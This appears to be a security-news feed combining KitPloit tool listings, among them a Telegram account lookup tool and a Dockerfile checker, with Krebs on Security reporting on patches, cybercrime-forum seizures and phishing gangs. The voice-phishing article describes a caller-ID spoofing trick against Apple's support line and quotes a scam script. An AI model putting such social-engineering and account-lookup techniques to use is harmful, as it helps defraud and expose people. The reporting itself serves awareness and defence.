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☐ ☆ ✇ KitPloit - PenTest Tools!

Telegram-Checker - A Python Tool For Checking Telegram Accounts Via Phone Numbers Or Usernames

By: Unknown — April 15th 2025 at 12:30


Enhanced version of bellingcat's Telegram Phone Checker!

A Python script to check Telegram accounts using phone numbers or username.


✨ Features

  • 🔍 Check single or multiple phone numbers and usernames
  • 📁 Import numbers from text file
  • 📸 Auto-download profile pictures
  • 💾 Save results as JSON
  • 🔐 Secure credential storage
  • 📊 Detailed user information

🚀 Installation

  1. Clone the repository:
git clone https://github.com/unnohwn/telegram-checker.git
cd telegram-checker
  1. Install required packages:
pip install -r requirements.txt

📦 Requirements

Contents of requirements.txt:

telethon
rich
click
python-dotenv

Or install packages individually:

pip install telethon rich click python-dotenv

⚙️ Configuration

First time running the script, you'll need: - Telegram API credentials (get from https://my.telegram.org/apps) - Your Telegram phone number including countrycode + - Verification code (sent to your Telegram)

💻 Usage

Run the script:

python telegram_checker.py

Choose from options: 1. Check phone numbers from input 2. Check phone numbers from file 3. Check usernames from input 4. Check usernames from file 5. Clear saved credentials 6. Exit

📂 Output

Results are saved in: - results/ - JSON files with detailed information - profile_photos/ - Downloaded profile pictures

⚠️ Note

This tool is for educational purposes only. Please respect Telegram's terms of service and user privacy.

📄 License

MIT License



☐ ☆ ✇ Krebs on Security

Patch Tuesday, April 2025 Edition

By: BrianKrebs — April 9th 2025 at 03:09

Microsoft today released updates to plug at least 121 security holes in its Windows operating systems and software, including one vulnerability that is already being exploited in the wild. Eleven of those flaws earned Microsoft’s most-dire “critical” rating, meaning malware or malcontents could exploit them with little to no interaction from Windows users.

The zero-day flaw already seeing exploitation is CVE-2025-29824, a local elevation of privilege bug in the Windows Common Log File System (CLFS) driver.  Microsoft rates it as “important,” but as Chris Goettl from Ivanti points out, risk-based prioritization warrants treating it as critical.

This CLFS component of Windows is no stranger to Patch Tuesday: According to Tenable’s Satnam Narang, since 2022 Microsoft has patched 32 CLFS vulnerabilities — averaging 10 per year — with six of them exploited in the wild. The last CLFS zero-day was patched in December 2024.

Narang notes that while flaws allowing attackers to install arbitrary code are consistently top overall Patch Tuesday features, the data is reversed for zero-day exploitation.

“For the past two years, elevation of privilege flaws have led the pack and, so far in 2025, account for over half of all zero-days exploited,” Narang wrote.

Rapid7’s Adam Barnett warns that any Windows defenders responsible for an LDAP server — which means almost any organization with a non-trivial Microsoft footprint — should add patching for the critical flaw CVE-2025-26663 to their to-do list.

“With no privileges required, no need for user interaction, and code execution presumably in the context of the LDAP server itself, successful exploitation would be an attractive shortcut to any attacker,” Barnett said. “Anyone wondering if today is a re-run of December 2024 Patch Tuesday can take some small solace in the fact that the worst of the trio of LDAP critical RCEs published at the end of last year was likely easier to exploit than today’s example, since today’s CVE-2025-26663 requires that an attacker win a race condition. Despite that, Microsoft still expects that exploitation is more likely.”

Among the critical updates Microsoft patched this month are remote code execution flaws in Windows Remote Desktop services (RDP), including CVE-2025-26671, CVE-2025-27480 and CVE-2025-27482; only the latter two are rated “critical,” and Microsoft marked both of them as “Exploitation More Likely.”

Perhaps the most widespread vulnerabilities fixed this month were in web browsers. Google Chrome updated to fix 13 flaws this week, and Mozilla Firefox fixed eight bugs, with possibly more updates coming later this week for Microsoft Edge.

As it tends to do on Patch Tuesdays, Adobe has released 12 updates resolving 54 security holes across a range of products, including ColdFusion, Adobe Commerce, Experience Manager Forms, After Effects, Media Encoder, BridgePremiere Pro, Photoshop, Animate, AEM Screens, and FrameMaker.

Apple users may need to patch as well. On March 31, Apple released a huge security update (more than three gigabytes in size) to fix issues in a range of their products, including at least one zero-day flaw.

And in case you missed it, on March 31, 2025 Apple released a rather large batch of security updates for a wide range of their products, from macOS to the iOS operating systems on iPhones and iPads.

Earlier today, Microsoft included a note saying Windows 10 security updates weren’t available but would be released as soon as possible. It appears from browsing askwoody.com that this snafu has since been rectified. Either way, if you run into complications applying any of these updates please leave a note about it in the comments below, because the chances are good that someone else had the same problem.

As ever, please consider backing up your data and or devices prior to updating, which makes it far less complicated to undo a software update gone awry. For more granular details on today’s Patch Tuesday, check out the SANS Internet Storm Center’s roundup. Microsoft’s update guide for April 2025 is here.

For more details on Patch Tuesday, check out the write-ups from Action1 and Automox.

☐ ☆ ✇ KitPloit - PenTest Tools!

Docf-Sec-Check - DockF-Sec-Check Helps To Make Your Dockerfile Commands More Secure

By: Unknown — April 4th 2025 at 19:18


DockF-Sec-Check helps to make your Dockerfile commands more secure.


Done

  • [x] First-level security notification in the Dockerfile

TODO List

  • [ ] Correctly detect the Dockerfile.
  • [ ] Second-level security notification in the Dockerfile.
  • [ ] Security notification in Docker images.
  • [ ] ***** (Private Repository)

Installation

From Source Code

You can use virtualenv for package dependencies before installation.

git clone https://github.com/OsmanKandemir/docf-sec-check.git
cd docf-sec-check
python setup.py build
python setup.py install

From Pypi

The application is available on PyPI. To install with pip:

pip install docfseccheck

From Dockerfile

You can run this application on a container after build a Dockerfile. You need to specify a path (YOUR-LOCAL-PATH) to scan the Dockerfile in your local.

docker build -t docfseccheck .
docker run -v <YOUR-LOCAL-PATH>/Dockerfile:/docf-sec-check/Dockerfile docfseccheck -f /docf-sec-check/Dockerfile

From DockerHub

docker pull osmankandemir/docfseccheck:v1.0
docker run -v <YOUR-LOCAL-PATH>/Dockerfile:/docf-sec-check/Dockerfile osmankandemir/docfseccheck:v1.0 -f /docf-sec-check/Dockerfile


Usage

-f DOCKERFILE [DOCKERFILE], --file DOCKERFILE [DOCKERFILE] Dockerfile path. --file Dockerfile

Function Usage

from docfchecker import DocFChecker

#Dockerfile is your file PATH.

DocFChecker(["Dockerfile"])

Development and Contribution

See; CONTRIBUTING.md

License

Copyright (c) 2024 Osman Kandemir \ Licensed under the GPL-3.0 License.

Donations

If you like DocF-Sec-Check and would like to show support, you can use Buy A Coffee or Github Sponsors feature for the developer using the button below.

Or

Sponsor me : https://github.com/sponsors/OsmanKandemir 😊

Your support will be much appreciated😊



☐ ☆ ✇ Krebs on Security

Microsoft: 6 Zero-Days in March 2025 Patch Tuesday

By: BrianKrebs — March 11th 2025 at 23:53

Microsoft today issued more than 50 security updates for its various Windows operating systems, including fixes for a whopping six zero-day vulnerabilities that are already seeing active exploitation.

Two of the zero-day flaws include CVE-2025-24991 and CVE-2025-24993, both vulnerabilities in NTFS, the default file system for Windows and Windows Server. Both require the attacker to trick a target into mounting a malicious virtual hard disk. CVE-2025-24993 would lead to the possibility of local code execution, while CVE-2025-24991 could cause NTFS to disclose portions of memory.

Microsoft credits researchers at ESET with reporting the zero-day bug labeled CVE-2025-24983, an elevation of privilege vulnerability in older versions of Windows. ESET said the exploit was deployed via the PipeMagic backdoor, capable of exfiltrating data and enabling remote access to the machine.

ESET’s Filip Jurčacko said the exploit in the wild targets only older versions of Windows OS: Windows 8.1 and Server 2012 R2. Although still used by millions, security support for these products ended more than a year ago, and mainstream support ended years ago. However, ESET notes the vulnerability itself also is present in newer Windows OS versions, including Windows 10 build 1809 and the still-supported Windows Server 2016.

Rapid7’s lead software engineer Adam Barnett said Windows 11 and Server 2019 onwards are not listed as receiving patches, so are presumably not vulnerable.

“It’s not clear why newer Windows products dodged this particular bullet,” Barnett wrote. “The Windows 32 subsystem is still presumably alive and well, since there is no apparent mention of its demise on the Windows client OS deprecated features list.”

The zero-day flaw CVE-2025-24984 is another NTFS weakness that can be exploited by inserting a malicious USB drive into a Windows computer. Barnett said Microsoft’s advisory for this bug doesn’t quite join the dots, but successful exploitation appears to mean that portions of heap memory could be improperly dumped into a log file, which could then be combed through by an attacker hungry for privileged information.

“A relatively low CVSSv3 base score of 4.6 reflects the practical difficulties of real-world exploitation, but a motivated attacker can sometimes achieve extraordinary results starting from the smallest of toeholds, and Microsoft does rate this vulnerability as important on its own proprietary severity ranking scale,” Barnett said.

Another zero-day fixed this month — CVE-2025-24985 — could allow attackers to install malicious code. As with the NTFS bugs, this one requires that the user mount a malicious virtual hard drive.

The final zero-day this month is CVE-2025-26633, a weakness in the Microsoft Management Console, a component of Windows that gives system administrators a way to configure and monitor the system. Exploiting this flaw requires the target to open a malicious file.

This month’s bundle of patch love from Redmond also addresses six other vulnerabilities Microsoft has rated “critical,” meaning that malware or malcontents could exploit them to seize control over vulnerable PCs with no help from users.

Barnett observed that this is now the sixth consecutive month where Microsoft has published zero-day vulnerabilities on Patch Tuesday without evaluating any of them as critical severity at time of publication.

The SANS Internet Storm Center has a useful list of all the Microsoft patches released today, indexed by severity. Windows enterprise administrators would do well to keep an eye on askwoody.com, which often has the scoop on any patches causing problems. Please consider backing up your data before updating, and leave a comment below if you experience any issues applying this month’s updates.

☐ ☆ ✇ Krebs on Security

Who’s Behind the Seized Forums ‘Cracked’ & ‘Nulled’?

By: BrianKrebs — February 4th 2025 at 17:09

The FBI joined authorities across Europe last week in seizing domain names for Cracked and Nulled, English-language cybercrime forums with millions of users that trafficked in stolen data, hacking tools and malware. An investigation into the history of these communities shows their apparent co-founders quite openly operate an Internet service provider and a pair of e-commerce platforms catering to buyers and sellers on both forums.

In this 2019 post from Cracked, a forum moderator told the author of the post (Buddie) that the owner of the RDP service was the founder of Nulled, a.k.a. “Finndev.” Image: Ke-la.com.

On Jan. 30, the U.S. Department of Justice said it seized eight domain names that were used to operate Cracked, a cybercrime forum that sprang up in 2018 and attracted more than four million users. The DOJ said the law enforcement action, dubbed Operation Talent, also seized domains tied to Sellix, Cracked’s payment processor.

In addition, the government seized the domain names for two popular anonymity services that were heavily advertised on Cracked and Nulled and allowed customers to rent virtual servers: StarkRDP[.]io, and rdp[.]sh.

Those archived webpages show both RDP services were owned by an entity called 1337 Services Gmbh. According to corporate records compiled by Northdata.com, 1337 Services GmbH is also known as AS210558 and is incorporated in Hamburg, Germany.

The Cracked forum administrator went by the nicknames “FlorainN” and “StarkRDP” on multiple cybercrime forums. Meanwhile, a LinkedIn profile for a Florian M. from Germany refers to this person as the co-founder of Sellix and founder of 1337 Services GmbH.

Northdata’s business profile for 1337 Services GmbH shows the company is controlled by two individuals: 32-year-old Florian Marzahl and Finn Alexander Grimpe, 28.

An organization chart showing the owners of 1337 Services GmbH as Florian Marzahl and Finn Grimpe. Image: Northdata.com.

Neither Marzahl nor Grimpe responded to requests for comment. But Grimpe’s first name is interesting because it corresponds to the nickname chosen by the founder of Nulled, who goes by the monikers “Finn” and “Finndev.” NorthData reveals that Grimpe was the founder of a German entity called DreamDrive GmbH, which rented out high-end sports cars and motorcycles.

According to the cyber intelligence firm Intel 471, a user named Finndev registered on multiple cybercrime forums, including Raidforums [seized by the FBI in 2022], Void[.]to, and vDOS, a DDoS-for-hire service that was shut down in 2016 after its founders were arrested.

The email address used for those accounts was f.grimpe@gmail.com. DomainTools.com reports f.grimpe@gmail.com was used to register at least nine domain names, including nulled[.]lol and nulled[.]it. Neither of these domains were among those seized in Operation Talent.

Intel471 finds the user FlorainN registered across multiple cybercrime forums using the email address olivia.messla@outlook.de. The breach tracking service Constella Intelligence says this email address used the same password (and slight variations of it) across many accounts online — including at hacker forums — and that the same password was used in connection with dozens of other email addresses, such as florianmarzahl@hotmail.de, and fmarzahl137@gmail.com.

The Justice Department said the Nulled marketplace had more than five million members, and has been selling stolen login credentials, stolen identification documents and hacking services, as well as tools for carrying out cybercrime and fraud, since 2016.

Perhaps fittingly, both Cracked and Nulled have been hacked over the years, exposing countless private messages between forum users. A review of those messages archived by Intel 471 showed that dozens of early forum members referred privately to Finndev as the owner of shoppy[.]gg, an e-commerce platform that caters to the same clientele as Sellix.

Shoppy was not targeted as part of Operation Talent, and its website remains online. Northdata reports that Shoppy’s business name — Shoppy Ecommerce Ltd. — is registered at an address in Gan-Ner, Israel, but there is no ownership information about this entity. Shoppy did not respond to requests for comment.

Constella found that a user named Shoppy registered on Cracked in 2019 using the email address finn@shoppy[.]gg. Constella says that email address is tied to a Twitter/X account for Shoppy Ecommerce in Israel.

The DOJ said one of the alleged administrators of Nulled, a 29-year-old Argentinian national named Lucas Sohn, was arrested in Spain. The government has not announced any other arrests or charges associated with Operation Talent.

Indeed, both StarkRDP and FloraiN have posted to their accounts on Telegram that there were no charges levied against the proprietors of 1337 Services GmbH. FlorainN told former customers they were in the process of moving to a new name and domain for StarkRDP, where existing accounts and balances would be transferred.

“StarkRDP has always been operating by the law and is not involved in any of these alleged crimes and the legal process will confirm this,” the StarkRDP Telegram account wrote on January 30. “All of your servers are safe and they have not been collected in this operation. The only things that were seized is the website server and our domain. Unfortunately, no one can tell who took it and with whom we can talk about it. Therefore, we will restart operation soon, under a different name, to close the chapter [of] ‘StarkRDP.'”

☐ ☆ ✇ Krebs on Security

FBI, Dutch Police Disrupt ‘Manipulaters’ Phishing Gang

By: BrianKrebs — January 31st 2025 at 18:35

The FBI and authorities in The Netherlands this week seized dozens of servers and domains for a hugely popular spam and malware dissemination service operating out of Pakistan. The proprietors of the service, who use the collective nickname “The Manipulaters,” have been the subject of three stories published here since 2015. The FBI said the main clientele are organized crime groups that try to trick victim companies into making payments to a third party.

One of several current Fudtools sites run by the principals of The Manipulators.

On January 29, the FBI and the Dutch national police seized the technical infrastructure for a cybercrime service marketed under the brands Heartsender, Fudpage and Fudtools (and many other “fud” variations). The “fud” bit stands for “Fully Un-Detectable,” and it refers to cybercrime resources that will evade detection by security tools like antivirus software or anti-spam appliances.

The Dutch authorities said 39 servers and domains abroad were seized, and that the servers contained millions of records from victims worldwide — including at least 100,000 records pertaining to Dutch citizens.

A statement from the U.S. Department of Justice refers to the cybercrime group as Saim Raza, after a pseudonym The Manipulaters communally used to promote their spam, malware and phishing services on social media.

“The Saim Raza-run websites operated as marketplaces that advertised and facilitated the sale of tools such as phishing kits, scam pages and email extractors often used to build and maintain fraud operations,” the DOJ explained.

The core Manipulaters product is Heartsender, a spam delivery service whose homepage openly advertised phishing kits targeting users of various Internet companies, including Microsoft 365YahooAOLIntuitiCloud and ID.me, to name a few.

The government says transnational organized crime groups that purchased these services primarily used them to run business email compromise (BEC) schemes, wherein the cybercrime actors tricked victim companies into making payments to a third party.

“Those payments would instead be redirected to a financial account the perpetrators controlled, resulting in significant losses to victims,” the DOJ wrote. “These tools were also used to acquire victim user credentials and utilize those credentials to further these fraudulent schemes. The seizure of these domains is intended to disrupt the ongoing activity of these groups and stop the proliferation of these tools within the cybercriminal community.”

Manipulaters advertisement for “Office 365 Private Page with Antibot” phishing kit sold via Heartsender. “Antibot” refers to functionality that attempts to evade automated detection techniques, keeping a phish deployed and accessible as long as possible. Image: DomainTools.

KrebsOnSecurity first wrote about The Manipulaters in May 2015, mainly because their ads at the time were blanketing a number of popular cybercrime forums, and because they were fairly open and brazen about what they were doing — even who they were in real life.

We caught up with The Manipulaters again in 2021, with a story that found the core employees had started a web coding company in Lahore called WeCodeSolutions — presumably as a way to account for their considerable Heartsender income. That piece examined how WeCodeSolutions employees had all doxed themselves on Facebook by posting pictures from company parties each year featuring a large cake with the words FudCo written in icing.

A follow-up story last year about The Manipulaters prompted messages from various WeCodeSolutions employees who pleaded with this publication to remove stories about them. The Saim Raza identity told KrebsOnSecurity they were recently released from jail after being arrested and charged by local police, although they declined to elaborate on the charges.

The Manipulaters never seemed to care much about protecting their own identities, so it’s not surprising that they were unable or unwilling to protect their own customers. In an analysis released last year, DomainTools.com found the web-hosted version of Heartsender leaked an extraordinary amount of user information to unauthenticated users, including customer credentials and email records from Heartsender employees.

Almost every year since their founding, The Manipulaters have posted a picture of a FudCo cake from a company party celebrating its anniversary.

DomainTools also uncovered evidence that the computers used by The Manipulaters were all infected with the same password-stealing malware, and that vast numbers of credentials were stolen from the group and sold online.

“Ironically, the Manipulaters may create more short-term risk to their own customers than law enforcement,” DomainTools wrote. “The data table ‘User Feedbacks’ (sic) exposes what appear to be customer authentication tokens, user identifiers, and even a customer support request that exposes root-level SMTP credentials–all visible by an unauthenticated user on a Manipulaters-controlled domain.”

Police in The Netherlands said the investigation into the owners and customers of the service is ongoing.

“The Cybercrime Team is on the trail of a number of buyers of the tools,” the Dutch national police said. “Presumably, these buyers also include Dutch nationals. The investigation into the makers and buyers of this phishing software has not yet been completed with the seizure of the servers and domains.”

U.S. authorities this week also joined law enforcement in Australia, France, Greece, Italy, Romania and Spain in seizing a number of domains for several long-running cybercrime forums and services, including Cracked and Nulled. According to a statement from the European police agency Europol, the two communities attracted more than 10 million users in total.

Other domains seized as part of “Operation Talent” included Sellix, an e-commerce platform that was frequently used by cybercrime forum members to buy and sell illicit goods and services.

☐ ☆ ✇ Krebs on Security

A Day in the Life of a Prolific Voice Phishing Crew

By: BrianKrebs — January 7th 2025 at 23:41

Besieged by scammers seeking to phish user accounts over the telephone, Apple and Google frequently caution that they will never reach out unbidden to users this way. However, new details about the internal operations of a prolific voice phishing gang show the group routinely abuses legitimate services at Apple and Google to force a variety of outbound communications to their users, including emails, automated phone calls and system-level messages sent to all signed-in devices.

Image: Shutterstock, iHaMoo.

KrebsOnSecurity recently told the saga of a cryptocurrency investor named Tony who was robbed of more than $4.7 million in an elaborate voice phishing attack. In Tony’s ordeal, the crooks appear to have initially contacted him via Google Assistant, an AI-based service that can engage in two-way conversations. The phishers also abused legitimate Google services to send Tony an email from google.com, and to send a Google account recovery prompt to all of his signed-in devices.

Today’s story pivots off of Tony’s heist and new details shared by a scammer to explain how these voice phishing groups are abusing a legitimate Apple telephone support line to generate “account confirmation” message prompts from Apple to their customers.

Before we get to the Apple scam in detail, we need to revisit Tony’s case. The phishing domain used to steal roughly $4.7 million in cryptocurrencies from Tony was verify-trezor[.]io. This domain was featured in a writeup from February 2024 by the security firm Lookout, which found it was one of dozens being used by a prolific and audacious voice phishing group it dubbed “Crypto Chameleon.”

Crypto Chameleon was brazenly trying to voice phish employees at the U.S. Federal Communications Commission (FCC), as well as those working at the cryptocurrency exchanges Coinbase and Binance. Lookout researchers discovered multiple voice phishing groups were using a new phishing kit that closely mimicked the single sign-on pages for Okta and other authentication providers.

As we’ll see in a moment, that phishing kit is operated and rented out by a cybercriminal known as “Perm” a.k.a. “Annie.” Perm is the current administrator of Star Fraud, one of the more consequential cybercrime communities on Telegram and one that has emerged as a foundry of innovation in voice phishing attacks.

A review of the many messages that Perm posted to Star Fraud and other Telegram channels showed they worked closely with another cybercriminal who went by the handles “Aristotle” and just “Stotle.”

It is not clear what caused the rift, but at some point last year Stotle decided to turn on his erstwhile business partner Perm, sharing extremely detailed videos, tutorials and secrets that shed new light on how these phishing panels operate.

Stotle explained that the division of spoils from each robbery is decided in advance by all participants. Some co-conspirators will be paid a set fee for each call, while others are promised a percentage of any overall amount stolen. The person in charge of managing or renting out the phishing panel to others will generally take a percentage of each theft, which in Perm’s case is 10 percent.

When the phishing group settles on a target of interest, the scammers will create and join a new Discord channel. This allows each logged on member to share what is currently on their screen, and these screens are tiled in a series of boxes so that everyone can see all other call participant screens at once.

Each participant in the call has a specific role, including:

-The Caller: The person speaking and trying to social engineer the target.
-The Operator: The individual managing the phishing panel, silently moving the victim from page to page.
-The Drainer: The person who logs into compromised accounts to drain the victim’s funds.
-The Owner: The phishing panel owner, who will frequently listen in on and participate in scam calls.

‘OKAY, SO THIS REALLY IS APPLE’

In one video of a live voice phishing attack shared by Stotle, scammers using Perm’s panel targeted a musician in California. Throughout the video, we can see Perm monitoring the conversation and operating the phishing panel in the upper right corner of the screen.

In the first step of the attack, they peppered the target’s Apple device with notifications from Apple by attempting to reset his password. Then a “Michael Keen” called him, spoofing Apple’s phone number and saying they were with Apple’s account recovery team.

The target told Michael that someone was trying to change his password, which Michael calmly explained they would investigate. Michael said he was going to send a prompt to the man’s device, and proceeded to place a call to an automated line that answered as Apple support saying, “I’d like to send a consent notification to your Apple devices. Do I have permission to do that?”

In this segment of the video, we can see the operator of the panel is calling the real Apple customer support phone number 800-275-2273, but they are doing so by spoofing the target’s phone number (the victim’s number is redacted in the video above). That’s because calling this support number from a phone number tied to an Apple account and selecting “1” for “yes” will then send an alert from Apple that displays the following message on all associated devices:

Calling the Apple support number 800-275-2273 from a phone number tied to an Apple account will cause a prompt similar to this one to appear on all connected Apple devices.

KrebsOnSecurity asked two different security firms to test this using the caller ID spoofing service shown in Perm’s video, and sure enough calling that 800 number for Apple by spoofing my phone number as the source caused the Apple Account Confirmation to pop up on all of my signed-in Apple devices.

In essence, the voice phishers are using an automated Apple phone support line to send notifications from Apple and to trick people into thinking they’re really talking with Apple. The phishing panel video leaked by Stotle shows this technique fooled the target, who felt completely at ease that he was talking to Apple after receiving the support prompt on his iPhone.

“Okay, so this really is Apple,” the man said after receiving the alert from Apple. “Yeah, that’s definitely not me trying to reset my password.”

“Not a problem, we can go ahead and take care of this today,” Michael replied. “I’ll go ahead and prompt your device with the steps to close out this ticket. Before I do that, I do highly suggest that you change your password in the settings app of your device.”

The target said they weren’t sure exactly how to do that. Michael replied “no problem,” and then described how to change the account password, which the man said he did on his own device. At this point, the musician was still in control of his iCloud account.

“Password is changed,” the man said. “I don’t know what that was, but I appreciate the call.”

“Yup,” Michael replied, setting up the killer blow. “I’ll go ahead and prompt you with the next step to close out this ticket. Please give me one moment.”

The target then received a text message that referenced information about his account, stating that he was in a support call with Michael. Included in the message was a link to a website that mimicked Apple’s iCloud login page — 17505-apple[.]com. Once the target navigated to the phishing page, the video showed Perm’s screen in the upper right corner opening the phishing page from their end.

“Oh okay, now I log in with my Apple ID?,” the man asked.

“Yup, then just follow the steps it requires, and if you need any help, just let me know,” Michael replied.

As the victim typed in their Apple password and one-time passcode at the fake Apple site, Perm’s screen could be seen in the background logging into the victim’s iCloud account.

It’s unclear whether the phishers were able to steal any cryptocurrency from the victim in this case, who did not respond to requests for comment. However, shortly after this video was recorded, someone leaked several music recordings stolen from the victim’s iCloud account.

At the conclusion of the call, Michael offered to configure the victim’s Apple profile so that any further changes to the account would need to happen in person at a physical Apple store. This appears to be one of several scripted ploys used by these voice phishers to gain and maintain the target’s confidence.

A tutorial shared by Stotle titled “Social Engineering Script” includes a number of tips for scam callers that can help establish trust or a rapport with their prey. When the callers are impersonating Coinbase employees, for example, they will offer to sign the user up for the company’s free security email newsletter.

“Also, for your security, we are able to subscribe you to Coinbase Bytes, which will basically give you updates to your email about data breaches and updates to your Coinbase account,” the script reads. “So we should have gone ahead and successfully subscribed you, and you should have gotten an email confirmation. Please let me know if that is the case. Alright, perfect.”

In reality, all they are doing is entering the target’s email address into Coinbase’s public email newsletter signup page, but it’s a remarkably effective technique because it demonstrates to the would-be victim that the caller has the ability to send emails from Coinbase.com.

Asked to comment for this story, Apple said there has been no breach, hack, or technical exploit of iCloud or Apple services, and that the company is continuously adding new protections to address new and emerging threats. For example, it said it has implemented rate limiting for multi-factor authentication requests, which have been abused by voice phishing groups to impersonate Apple.

Apple said its representatives will never ask users to provide their password, device passcode, or two-factor authentication code or to enter it into a web page, even if it looks like an official Apple website. If a user receives a message or call that claims to be from Apple, here is what the user should expect.

AUTODOXERS

According to Stotle, the target lists used by their phishing callers originate mostly from a few crypto-related data breaches, including the 2022 and 2024 breaches involving user account data stolen from cryptocurrency hardware wallet vendor Trezor.

Perm’s group and other crypto phishing gangs rely on a mix of homemade code and third-party data broker services to refine their target lists. Known as “autodoxers,” these tools help phishing gangs quickly automate the acquisition and/or verification of personal data on a target prior to each call attempt.

One “autodoxer” service advertised on Telegram that promotes a range of voice phishing tools and services.

Stotle said their autodoxer used a Telegram bot that leverages hacked accounts at consumer data brokers to gather a wealth of information about their targets, including their full Social Security number, date of birth, current and previous addresses, employer, and the names of family members.

The autodoxers are used to verify that each email address on a target list has an active account at Coinbase or another cryptocurrency exchange, ensuring that the attackers don’t waste time calling people who have no cryptocurrency to steal.

Some of these autodoxer tools also will check the value of the target’s home address at property search services online, and then sort the target lists so that the wealthiest are at the top.

CRYPTO THIEVES IN THE SHARK TANK

Stotle’s messages on Discord and Telegram show that a phishing group renting Perm’s panel voice-phished tens of thousands of dollars worth of cryptocurrency from the billionaire Mark Cuban.

“I was an idiot,” Cuban told KrebsOnsecurity when asked about the June 2024 attack, which he first disclosed in a short-lived post on Twitter/X. “We were shooting Shark Tank and I was rushing between pitches.”

Image: Shutterstock, ssi77.

Cuban said he first received a notice from Google that someone had tried to log in to his account. Then he got a call from what appeared to be a Google phone number. Cuban said he ignored several of these emails and calls until he decided they probably wouldn’t stop unless he answered.

“So I answered, and wasn’t paying enough attention,” he said. “They asked for the circled number that comes up on the screen. Like a moron, I gave it to them, and they were in.”

Unfortunately for Cuban, somewhere in his inbox were the secret “seed phrases” protecting two of his cryptocurrency accounts, and armed with those credentials the crooks were able to drain his funds. All told, the thieves managed to steal roughly $43,000 worth of cryptocurrencies from Cuban’s wallets — a relatively small heist for this crew.

“They must have done some keyword searches,” once inside his Gmail account, Cuban said. “I had sent myself an email I had forgotten about that had my seed words for 2 accounts that weren’t very active any longer. I had moved almost everything but some smaller balances to Coinbase.”

LIFE IS A GAME: MONEY IS HOW WE KEEP SCORE

Cybercriminals involved in voice phishing communities on Telegram are universally obsessed with their crypto holdings, mainly because in this community one’s demonstrable wealth is primarily what confers social status. It is not uncommon to see members sizing one another up using a verbal shorthand of “figs,” as in figures of crypto wealth.

For example, a low-level caller with no experience will sometimes be mockingly referred to as a 3fig or 3f, as in a person with less than $1,000 to their name. Salaries for callers are often also referenced this way, e.g. “Weekly salary: 5f.”

This meme shared by Stotle uses humor to depict an all-too-common pathway for voice phishing callers, who are often minors recruited from gaming networks like Minecraft and Roblox. The image that Lookout used in its blog post for Crypto Chameleon can be seen in the lower right hooded figure.

Voice phishing groups frequently require new members to provide “proof of funds” — screenshots of their crypto holdings, ostensibly to demonstrate they are not penniless — before they’re allowed to join.

This proof of funds (POF) demand is typical among thieves selling high-dollar items, because it tends to cut down on the time-wasting inquiries from criminals who can’t afford what’s for sale anyway. But it has become so common in cybercrime communities that there are now several services designed to create fake POF images and videos, allowing customers to brag about large crypto holdings without actually possessing said wealth.

Several of the phishing panel videos shared by Stotle feature audio that suggests co-conspirators were practicing responses to certain call scenarios, while other members of the phishing group critiqued them or tried disrupt their social engineering by being verbally abusive.

These groups will organize and operate for a few weeks, but tend to disintegrate when one member of the conspiracy decides to steal some or all of the loot, referred to in these communities as “snaking” others out of their agreed-upon sums. Almost invariably, the phishing groups will splinter apart over the drama caused by one of these snaking events, and individual members eventually will then re-form a new phishing group.

Allison Nixon is the chief research officer for Unit 221B, a cybersecurity firm in New York that has worked on a number of investigations involving these voice phishing groups. Nixon said the constant snaking within the voice phishing circles points to a psychological self-selection phenomenon that is in desperate need of academic study.

“In short, a person whose moral compass lets them rob old people will also be a bad business partner,” Nixon said. “This is another fundamental flaw in this ecosystem and why most groups end in betrayal. This structural problem is great for journalists and the police too. Lots of snitching.”

POINTS FOR BRAZENNESS

Asked about the size of Perm’s phishing enterprise, Stotle said there were dozens of distinct phishing groups paying to use Perm’s panel. He said each group was assigned their own subdomain on Perm’s main “command and control server,” which naturally uses the domain name commandandcontrolserver[.]com.

A review of that domain’s history via DomainTools.com shows there are at least 57 separate subdomains scattered across commandandcontrolserver[.]com and two other related control domains — thebackendserver[.]com and lookoutsucks[.]com. That latter domain was created and deployed shortly after Lookout published its blog post on Crypto Chameleon.

The dozens of phishing domains that phone home to these control servers are all kept offline when they are not actively being used in phishing attacks. A social engineering training guide shared by Stotle explains this practice minimizes the chances that a phishing domain will get “redpaged,” a reference to the default red warning pages served by Google Chrome or Firefox whenever someone tries to visit a site that’s been flagged for phishing or distributing malware.

What’s more, while the phishing sites are live their operators typically place a CAPTCHA challenge in front of the main page to prevent security services from scanning and flagging the sites as malicious.

It may seem odd that so many cybercriminal groups operate so openly on instant collaboration networks like Telegram and Discord. After all, this blog is replete with stories about cybercriminals getting caught thanks to personal details they inadvertently leaked or disclosed themselves.

Nixon said the relative openness of these cybercrime communities makes them inherently risky, but it also allows for the rapid formation and recruitment of new potential co-conspirators. Moreover, today’s English-speaking cybercriminals tend to be more afraid of getting home invaded or mugged by fellow cyber thieves than they are of being arrested by authorities.

“The biggest structural threat to the online criminal ecosystem is not the police or researchers, it is fellow criminals,” Nixon said. “To protect them from themselves, every criminal forum and marketplace has a reputation system, even though they know it’s a major liability when the police come. That is why I am not worried as we see criminals migrate to various ‘encrypted’ platforms that promise to ignore the police. To protect themselves better against the law, they have to ditch their protections against fellow criminals and that’s not going to happen.”

☐ ☆ ✇ Krebs on Security

Web Hacking Service ‘Araneida’ Tied to Turkish IT Firm

By: BrianKrebs — December 19th 2024 at 17:07

Cybercriminals are selling hundreds of thousands of credential sets stolen with the help of a cracked version of Acunetix, a powerful commercial web app vulnerability scanner, new research finds. The cracked software is being resold as a cloud-based attack tool by at least two different services, one of which KrebsOnSecurity traced to an information technology firm based in Turkey.

Araneida Scanner.

Cyber threat analysts at Silent Push said they recently received reports from a partner organization that identified an aggressive scanning effort against their website using an Internet address previously associated with a campaign by FIN7, a notorious Russia-based hacking group.

But on closer inspection they discovered the address contained an HTML title of “Araneida Customer Panel,” and found they could search on that text string to find dozens of unique addresses hosting the same service.

It soon became apparent that Araneida was being resold as a cloud-based service using a cracked version of Acunetix, allowing paying customers to conduct offensive reconnaissance on potential target websites, scrape user data, and find vulnerabilities for exploitation.

Silent Push also learned Araneida bundles its service with a robust proxy offering, so that customer scans appear to come from Internet addresses that are randomly selected from a large pool of available traffic relays.

The makers of Acunetix, Texas-based application security vendor Invicti Security, confirmed Silent Push’s findings, saying someone had figured out how to crack the free trial version of the software so that it runs without a valid license key.

“We have been playing cat and mouse for a while with these guys,” said Matt Sciberras, chief information security officer at Invicti.

Silent Push said Araneida is being advertised by an eponymous user on multiple cybercrime forums. The service’s Telegram channel boasts nearly 500 subscribers and explains how to use the tool for malicious purposes.

